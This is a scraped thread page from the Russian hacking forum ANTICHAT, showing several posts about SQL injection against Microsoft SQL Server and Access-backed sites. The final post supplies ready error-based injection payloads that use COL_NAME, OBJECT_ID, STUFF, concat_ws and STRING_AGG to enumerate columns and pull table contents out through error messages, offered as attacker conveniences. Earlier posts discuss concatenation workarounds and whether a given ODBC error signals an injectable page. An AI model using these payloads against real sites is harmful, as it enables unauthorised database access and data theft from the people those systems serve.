HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #111  
Старый 26.06.2012, 19:33
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

Цитата:
Сообщение от cat1vo  
cast() - это привидение к определенному типу данных, а не объединение! Используйте concat()
В mssql concat тоже работает? ща попробую
 

  #112  
Старый 27.06.2012, 00:37
tmp
Участник форума
Регистрация: 10.03.2005
Сообщений: 234
С нами: 11141693

Репутация: 56
По умолчанию

такс.. походу наводка не совсем правильная. concat реализована только с MS SQL 2012. думаю такое в настоящее время редко найдешь. у меня банальная версия:

Цитата:
Сообщение от None  
Microsoft SQL Server 2008 (SP1) - 10.0.2531.0 (Intel X86) Mar 29 2009 10:27:29 Copyright (c) 1988-2008
вопрос актуален.
 

  #113  
Старый 02.10.2013, 19:56
WF34
Новичок
Регистрация: 25.01.2013
Сообщений: 1
С нами: 6998006

Репутация: 0
По умолчанию

если выводит такую ошибку

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC Microsoft Access Driver] Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'.

/shop/en/products.asp, line 32

то sql инекция осуществима?
 

  #114  
Старый 01.12.2019, 17:55
Baskin-Robbins
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
С нами: 4033046

Репутация: 212
По умолчанию

Еще раз про подбор колонок, старая фича

Код:
152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n)
где n номер колонки

Как альтернатива + и concat, в некоторой степени можно использовать STUFF

Код:
152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20
1 -- позиция для вставки

0 -- определяет, какое количество символов следует удалить после вставки

C 2017 версии появилась concat_ws -- немного удобства для нас

Код:
152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20
Так же с 2017 версии появился полноценный group_concat - привычно и удобно.

Код:
152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20
 
 



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Os - моя крепость Elekt Избранное 32 06.08.2009 15:10
Мнения: "Безопасность от Microsoft: шаг к обновленному миру?" dinar_007 Мировые новости. Обсуждения. 5 25.12.2006 19:20
Дыра в Word позволяет захватить контроль над ПК »Atom1c« Мировые новости. Обсуждения. 17 12.12.2006 13:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.